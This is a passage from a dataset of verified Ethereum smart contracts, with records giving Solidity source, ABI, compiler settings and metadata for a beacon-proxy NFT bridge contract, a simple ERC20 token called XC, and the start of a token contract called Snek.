ame":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"withdrawAny","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | Default | MIT | false | ipfs://1ea28dabcf5f8d0235d638bf383b7b6fb298769101c6e11d7b6bf88d3f9e465b |
|||
BridgeNFT | BridgeNFT.sol | 0x5b3481b9a204e4c1475a11c2f3ad81cd0573dd31 | Solidity | pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
/**
* @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) payable {
assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1));
_upgradeBeaconToAndCall(beacon, data, false);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address) {
return _getBeacon();
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_getBeacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
_upgradeBeaconToAndCall(beacon, data, false);
}
}
// contracts/Structs.sol
contract BridgeNFT is BeaconProxy {
constructor(address beacon, bytes memory data) BeaconProxy(beacon, data) {
}
} | [{"inputs":[{"internalType":"address","name":"beacon","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"beacon","type":"address"}],"name":"BeaconUpgraded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"implementation","type":"address"}],"name":"Upgraded","type":"event"},{"stateMutability":"payable","type":"fallback"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000006ffd7ede62328b3af38fcd61461bbfc52f5651fe0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012403e7285800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000006ffd7ede62328b3af38fcd61461bbfc52f5651fe00000000000000000000000000000000000000000000000000000000000000010101010101010101010101010101010101010101010101010101010101010101000000000000000000000000000000000000000000000000000000000000001b576f726d686f6c65204272696467656420536f6c616e612d4e46540000000000000000000000000000000000000000000000000000000000000000000000000a574f524d53504c4e46540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | Apache-2.0 | false | ipfs://a0dba6f83dc2fcd2c43dcf728feb5417bb9f96d4aa3f19145630d2f5e0b6aca8 |
||
XC | XC.sol | 0x05f6c04a8d807bbcc42d216936575301b13a09b9 | Solidity | /**
*Submitted for verification at Etherscan.io on 2020-11-05
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract XC is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public owner;
constructor () public ERC20Detailed("X , X Coin", "XC", 18) {
owner = msg.sender;
_totalSupply = 1000000000 *(10**uint256(18));
_balances[msg.sender] = _totalSupply;
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | Default | None | false | ipfs://0efdf64ffe5f9d108fb8910cb33418754a20cc98aa095290d73edf93b586587a |
|||
Snek | Snek.sol | 0xe99230a033332ff10ff79e137d3d27a4417d014f | Solidity | // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Dependency file: @openzeppelin/contracts/utils/Context.sol
// pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
